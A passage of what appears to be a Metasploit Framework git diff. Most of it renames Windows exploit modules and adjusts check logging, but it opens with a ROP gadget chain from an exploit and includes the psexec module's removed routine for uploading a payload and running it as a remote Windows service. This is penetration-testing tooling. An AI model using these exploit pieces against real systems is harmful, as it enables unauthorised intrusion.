+      ].flatten.pack("V*")
+    rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
+    rop_gadgets << [
+        0x61e62aa4,  # POP EBP # RETN [LibBKCCommon.dll]
+        0x61e648c0,  # & push esp # ret  [LibBKCCommon.dll]
+        0x66f3243f,  # POP EBX # RETN [libBKBEqrp.dll]
+        0x00000001,  # 0x00000001-> ebx
+        0x61e729dd,  # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
+        0x00001000,  # 0x00001000-> edx
+        0x63a93f6f,  # POP ECX # RETN [libbkhopx.dll]
+        0x00000040,  # 0x00000040-> ecx
+        0x63ad1f6a,  # POP EDI # RETN [libbkhOdeq.dll]
+        0x63dd3812,  # RETN (ROP NOP) [libbkhCsSrch.dll]
+        0x61e60b4c,  # POP EAX # RETN [LibBKCCommon.dll]
+        0x90909090,  # nop
+        0x63ae5cc3,  # PUSHAD # RETN [libbkhOdbh.dll]
+      ].flatten.pack("V*")
+
+    rop_gadgets
+  end
+
+end
diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb
index 47c95af6c8..d735e69aac 100644
--- a/modules/exploits/windows/smb/ms03_049_netapi.rb
+++ b/modules/exploits/windows/smb/ms03_049_netapi.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
+      'Name'           => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
         function using the Workstation service in Windows XP.
diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb
index 439e0d6c3b..febfe8715f 100644
--- a/modules/exploits/windows/smb/ms04_007_killbill.rb
+++ b/modules/exploits/windows/smb/ms04_007_killbill.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
+      'Name'           => 'MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow',
       'Description'    => %q{
           This is an exploit for a previously undisclosed
         vulnerability in the bit string decoding code in the
diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb
index 6680a7a112..c8c9d7f54d 100644
--- a/modules/exploits/windows/smb/ms04_011_lsass.rb
+++ b/modules/exploits/windows/smb/ms04_011_lsass.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',
+      'Name'           => 'MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the LSASS service, this vulnerability
         was originally found by eEye. When re-exploiting a Windows XP system, you will need
diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb
index 1aa19477de..e126e6e843 100644
--- a/modules/exploits/windows/smb/ms04_031_netdde.rb
+++ b/modules/exploits/windows/smb/ms04_031_netdde.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft NetDDE Service Overflow',
+      'Name'           => 'MS04-031 Microsoft NetDDE Service Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the NetDDE service, which is the
         precursor to the DCOM interface.  This exploit effects only operating systems
diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb
index 34a8162902..f63c7598b4 100644
--- a/modules/exploits/windows/smb/ms05_039_pnp.rb
+++ b/modules/exploits/windows/smb/ms05_039_pnp.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Plug and Play Service Overflow',
+      'Name'           => 'MS05-039 Microsoft Plug and Play Service Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Windows Plug
         and Play service. This vulnerability can be exploited on
diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
index 94997122b2..87ecb8022f 100644
--- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
+++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft RRAS Service RASMAN Registry Overflow',
+      'Name'           => 'MS06-025 Microsoft RRAS Service RASMAN Registry Overflow',
       'Description'    => %q{
           This module exploits a registry-based stack buffer overflow in the Windows Routing
         and Remote Access Service. Since the service is hosted inside svchost.exe,
diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb
index 2e7f8cff6f..de5c750616 100644
--- a/modules/exploits/windows/smb/ms06_025_rras.rb
+++ b/modules/exploits/windows/smb/ms06_025_rras.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft RRAS Service Overflow',
+      'Name'           => 'MS06-025 Microsoft RRAS Service Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Windows Routing and Remote
         Access Service. Since the service is hosted inside svchost.exe, a failed
diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb
index f323c62764..44f510af39 100644
--- a/modules/exploits/windows/smb/ms06_040_netapi.rb
+++ b/modules/exploits/windows/smb/ms06_040_netapi.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Server Service NetpwPathCanonicalize Overflow',
+      'Name'           => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
         using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb
index ab6d374a3f..665e4bcd2f 100644
--- a/modules/exploits/windows/smb/ms06_066_nwapi.rb
+++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Services MS06-066 nwapi32.dll Module Exploit',
+      'Name'           => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the svchost service when the netware
         client service is running. This specific vulnerability is in the nwapi32.dll module.
diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb
index 79a0991455..84802df58f 100644
--- a/modules/exploits/windows/smb/ms06_066_nwwks.rb
+++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Services MS06-066 nwwks.dll Module Exploit',
+      'Name'           => 'MS06-066 Microsoft Services nwwks.dll Module Exploit',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the svchost service, when the netware
         client service is running. This specific vulnerability is in the nwapi32.dll module.
diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb
index dac8657eaf..2d7152cd73 100644
--- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb
+++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Workstation Service NetpManageIPCConnect Overflow',
+      'Name'           => 'MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
         function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.
diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
index 13d698cbde..7c8c494da6 100644
--- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
+++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
+      'Name'           => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the RPC interface
         of the Microsoft DNS service. The vulnerability is triggered
diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb
index c97844902e..9c83a3e43b 100644
--- a/modules/exploits/windows/smb/ms08_067_netapi.rb
+++ b/modules/exploits/windows/smb/ms08_067_netapi.rb
@@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Server Service Relative Path Stack Corruption',
+      'Name'           => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',
       'Description'    => %q{
           This module exploits a parsing flaw in the path canonicalization code of
         NetAPI32.dll through the Server Service. This module is capable of bypassing
@@ -1053,12 +1053,12 @@ class Metasploit3 < Msf::Exploit::Remote
       connect()
       smb_login()
     rescue Rex::ConnectionError => e
-      print_error("Connection failed: #{e.class}: #{e}")
-      return
+      vprint_error("Connection failed: #{e.class}: #{e}")
+      return Msf::Exploit::CheckCode::Unknown
     rescue Rex::Proto::SMB::Exceptions::LoginError => e
       if (e.message =~ /Connection reset/)
-        print_error("Connection reset during login")
-        print_error("This most likely means a previous exploit attempt caused the service to crash")
+        vprint_error("Connection reset during login")
+        vprint_error("This most likely means a previous exploit attempt caused the service to crash")
         return Msf::Exploit::CheckCode::Unknown
       else
         raise e
@@ -1086,11 +1086,12 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       # Samba doesn't have this handle and returns an ErrorCode
       dcerpc_bind(handle)
-    rescue Rex::Proto::SMB::Exceptions::ErrorCode
+    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
+      vprint_error("SMB error: #{e.message.to_s}")
       return Msf::Exploit::CheckCode::Safe
     end
 
-    print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
+    vprint_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
 
     stub =
       NDR.uwstring(server) +
@@ -1111,7 +1112,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if (error == 0x0052005c) # \R :)
       return Msf::Exploit::CheckCode::Vulnerable
     else
-      print_status("System is not vulnerable (status: 0x%08x)" % error) if error
+      vprint_error("System is not vulnerable (status: 0x%08x)" % error) if error
       return Msf::Exploit::CheckCode::Safe
     end
   end
diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
index e7164e46c3..72d9522ff9 100644
--- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
+++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
+      'Name'           => 'MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
       'Description'    => %q{
           This module exploits an out of bounds function table dereference in the SMB
         request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb
index 07024d74c7..067e629251 100644
--- a/modules/exploits/windows/smb/ms10_061_spoolss.rb
+++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Print Spooler Service Impersonation Vulnerability',
+      'Name'           => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
       'Description'    => %q{
           This module exploits the RPC service impersonation vulnerability detailed in
         Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb
index 2dc62fc707..68badfeef6 100644
--- a/modules/exploits/windows/smb/psexec.rb
+++ b/modules/exploits/windows/smb/psexec.rb
@@ -22,9 +22,7 @@ require 'msf/core'
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ManualRanking
 
-  include Msf::Exploit::Remote::DCERPC
-  include Msf::Exploit::Remote::SMB
-  include Msf::Exploit::Remote::SMB::Authenticated
+  include Msf::Exploit::Remote::SMB::Psexec
   include Msf::Auxiliary::Report
   include Msf::Exploit::EXE
   include Msf::Exploit::WbemExec
@@ -82,7 +80,8 @@ class Metasploit3 < Msf::Exploit::Remote
         OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
         OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
         OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
-        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil])
+        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
+        OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
       ], self.class)
   end
 
@@ -154,6 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
       simple.disconnect("ADMIN$")
     else
       servicename = rand_text_alpha(8)
+      servicedescription = datastore['SERVICE_DESCRIPTION']
 
       # Upload the shellcode to a file
       print_status("Uploading payload...")
@@ -176,9 +176,6 @@ class Metasploit3 < Msf::Exploit::Remote
       end
       exe = ''
       opts = { :servicename => servicename }
-      if (datastore['PAYLOAD'].include? 'x64')
-        opts.merge!({ :arch => ARCH_X64 })
-      end
       exe = generate_payload_exe_service(opts)
 
       fd << exe
@@ -192,40 +189,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
       # Disconnect from the share
       simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
-      # Connect to the IPC service
-      simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
-
-
-      # Bind to the service
-      handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
-      print_status("Binding to #{handle} ...")
-      dcerpc_bind(handle)
-      print_status("Bound to #{handle} ...")
-
-      ##
-      # OpenSCManagerW()
-      ##
-
-      print_status("Obtaining a service manager handle...")
-      scm_handle = nil
-      stubdata =
-        NDR.uwstring("\\\\#{rhost}") +
-        NDR.long(0) +
-        NDR.long(0xF003F)
-      begin
-        response = dcerpc.call(0x0f, stubdata)
-        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-          scm_handle = dcerpc.last_response.stub_data[0,20]
-        end
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-        return
-      end
-
-      ##
-      # CreateServiceW()
-      ##
-
 
       # define the file location
       if datastore['SHARE'] == 'ADMIN$'
@@ -233,115 +196,13 @@ class Metasploit3 < Msf::Exploit::Remote
       elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
         file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
       else
-
         file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
       end
 
-      displayname = 'M' + rand_text_alpha(rand(32)+1)
-      svc_handle  = nil
-      svc_status  = nil
+      psexec(file_location, false, servicedescription)
 
-      print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
-      stubdata =
-        scm_handle +
-        NDR.wstring(servicename) +
-        NDR.uwstring(displayname) +
-
-        NDR.long(0x0F01FF) + # Access: MAX
-        NDR.long(0x00000110) + # Type: Interactive, Own process
-        NDR.long(0x00000003) + # Start: Demand
-        NDR.long(0x00000000) + # Errors: Ignore
-        NDR.wstring( file_location  ) + # Binary Path
-        NDR.long(0) + # LoadOrderGroup
-        NDR.long(0) + # Dependencies
-        NDR.long(0) + # Service Start
-        NDR.long(0) + # Password
-        NDR.long(0) + # Password
-        NDR.long(0) + # Password
-        NDR.long(0)  # Password
-      begin
-        response = dcerpc.call(0x0c, stubdata)
-        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-          svc_handle = dcerpc.last_response.stub_data[0,20]
-          svc_status = dcerpc.last_response.stub_data[24,4]
-        end
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-        return
-      end
-
-      ##
-      # CloseHandle()
-      ##
-      print_status("Closing service handle...")
-      begin
-        response = dcerpc.call(0x0, svc_handle)
-      rescue ::Exception
-      end
-
-      ##
-      # OpenServiceW
-      ##
-      print_status("Opening service...")
-      begin
-        stubdata =
-          scm_handle +
-          NDR.wstring(servicename) +
-          NDR.long(0xF01FF)
-
-        response = dcerpc.call(0x10, stubdata)
-        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-          svc_handle = dcerpc.last_response.stub_data[0,20]
-        end
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-        return
-      end
-
-      ##
-      # StartService()
-      ##
-      print_status("Starting the service...")
-      stubdata =
-        svc_handle +
-        NDR.long(0) +
-        NDR.long(0)
-      begin
-        response = dcerpc.call(0x13, stubdata)
-        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-        end
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-        return
-      end
-
-      ##
-      # DeleteService()
-      ##
-      print_status("Removing the service...")
-      stubdata =
-        svc_handle
-      begin
-        response = dcerpc.call(0x02, stubdata)
-        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-        end
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-      end
-
-      ##
-      # CloseHandle()
-      ##
-      print_status("Closing service handle...")
-      begin
-        response = dcerpc.call(0x0, svc_handle)
-      rescue ::Exception => e
-        print_error("Error: #{e}")
-      end
-
-      begin
       print_status("Deleting \\#{filename}...")
-      select(nil, nil, nil, 1.0)
+      sleep(1)
       #This is not really useful but will prevent double \\ on the wire :)
       if datastore['SHARE'] =~ /.[\\\/]/
         simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
@@ -350,12 +211,6 @@ class Metasploit3 < Msf::Exploit::Remote
         simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
         simple.delete("\\#{filename}")
       end
-
-      rescue ::Interrupt
-        raise $!
-      rescue ::Exception
-        #raise $!
-      end
     end
     handler
     disconnect
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 2f3994ba59..1e54d00150 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -98,8 +98,5 @@ class Metasploit3 < Msf::Exploit::Remote
     end
   end
 
-  def peer
-    return "#{rhost}:#{rport}"
-  end
 end
 
diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb
index 9d7c488f11..c0bdca0831 100644
--- a/modules/exploits/windows/smb/smb_relay.rb
+++ b/modules/exploits/windows/smb/smb_relay.rb
@@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Windows SMB Relay Code Execution',
+      'Name'           => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
       'Description'    => %q{
           This module will relay SMB authentication requests to another
         host, gaining access to an authenticated SMB session if successful.
diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
index d33f86f8bc..930cda18d8 100644
--- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
+++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow',
+      'Name'           => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
         in a pretty novel way.
diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
index 2dcaf2aff2..c97901a355 100644
--- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
+++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb
index 25deefe2c3..41708b4586 100644
--- a/modules/exploits/windows/smtp/ypops_overflow1.rb
+++ b/modules/exploits/windows/smtp/ypops_overflow1.rb
@@ -62,11 +62,11 @@ class Metasploit3 < Msf::Exploit::Remote
     banner.gsub!(/\n/, '')
 
     if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
-      print_status("Vulnerable SMTP server: #{banner}")
+      vprint_status("Vulnerable SMTP server: #{banner}")
       return Exploit::CheckCode::Detected
     end
 
-    print_status("Unknown SMTP server: #{banner}")
+    vprint_status("Unknown SMTP server: #{banner}")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb
index 5068e44677..f4a6b4b396 100644
--- a/modules/exploits/windows/ssh/freesshd_authbypass.rb
+++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb
@@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
     if banner =~ /SSH\-2\.0\-WeOnlyDo/
       version=banner.split(" ")[1]
-      return Exploit::CheckCode::Vulnerable if version =~ /(2\.1\.3|2\.0\.6)/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Appears if version =~ /(2\.1\.3|2\.0\.6)/
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb
index d26782df0f..c7ccc00284 100644
--- a/modules/exploits/windows/ssh/putty_msg_debug.rb
+++ b/modules/exploits/windows/ssh/putty_msg_debug.rb
@@ -10,10 +10,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
+      'Name'           => 'PuTTY Buffer Overflow',
       'Description'    => %q{
-          This module exploits a buffer overflow in the PuTTY SSH client that is triggered
-        through a validation error in SSH.c.
+        This module exploits a buffer overflow in the PuTTY SSH client that is
+        triggered through a validation error in SSH.c. This vulnerability
+        affects versions 0.53 and earlier.
       },
       'Author'         => 'MC',
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb
index 50fc8eca96..2fe931bb7f 100644
--- a/modules/exploits/windows/ssh/securecrt_ssh1.rb
+++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb
@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
+      'Name'           => 'SecureCRT SSH1 Buffer Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in SecureCRT <= 4.0
         Beta 2. By sending a vulnerable client an overly long
diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb
index 7700f50f8c..feb189f068 100644
--- a/modules/exploits/windows/ssh/sysax_ssh_username.rb
+++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb
@@ -75,10 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote
       connect
       banner = sock.get_once(-1,5) || ''
       disconnect
+      vprint_status("Banner: #{banner}")
       if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
     rescue
+      vprint_error("An error has occured while trying to read a response from target")
+      return Exploit::CheckCode::Unknown
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb
index 6123518f56..ceaa08f607 100644
--- a/modules/exploits/windows/ssl/ms04_011_pct.rb
+++ b/modules/exploits/windows/ssl/ms04_011_pct.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Private Communications Transport Overflow',
+      'Name'           => 'MS04-011 Microsoft Private Communications Transport Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in the Microsoft
         Windows SSL PCT protocol stack. This code is based on Johnny
diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
index 3da111b348..548edfabf6 100644
--- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
+++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
@@ -82,12 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     connect
-    print_status("Attempting to determine if target is vulnerable...")
+    print_status("Attempting to determine if target is possibly vulnerable...")
     select(nil,nil,nil,7)
     banner = sock.get_once(-1,3) || ''
+    vprint_status("Banner: #{banner}")
 
     if (banner =~ /TelSrv 1\.5/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb
index 30177d7c6f..a4e1fd6882 100644
--- a/modules/exploits/windows/telnet/goodtech_telnet.rb
+++ b/modules/exploits/windows/telnet/goodtech_telnet.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
+      'Name'           => 'GoodTech Telnet Server Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
         versions prior to 5.0.7. By sending an overly long string, an attacker can
diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb
index 87d8290a1b..b814b83f48 100644
--- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb
+++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
+      'Name'           => 'TFTPD32 Long Filename Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in TFTPD32 version 2.21
         and prior. By sending a request for an overly long file name
diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb
index 9d6c3c176a..e49eb61e81 100644
--- a/modules/exploits/windows/vnc/winvnc_http_get.rb
+++ b/modules/exploits/windows/vnc/winvnc_http_get.rb
@@ -13,7 +13,7 @@ require 'msf/core'
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		=> 'WinVNC Web Server <= v3.3.3r7 GET Overflow',
+      'Name'		=> 'WinVNC Web Server GET Overflow',
       'Description'	=> %q{
         This module exploits a buffer overflow in the AT&T WinVNC version
         <= v3.3.3r7 web server. When debugging mode with logging is
diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb
index 496487a791..939e1e635c 100644
--- a/modules/exploits/windows/wins/ms04_045_wins.rb
+++ b/modules/exploits/windows/wins/ms04_045_wins.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft WINS Service Memory Overwrite',
+      'Name'           => 'MS04-045 Microsoft WINS Service Memory Overwrite',
       'Description'    => %q{
         This module exploits an arbitrary memory write flaw in the
         WINS service. This exploit has been tested against Windows
diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb
index 3b74f54b5f..66ae6716de 100644
--- a/modules/payloads/singles/cmd/unix/bind_perl.rb
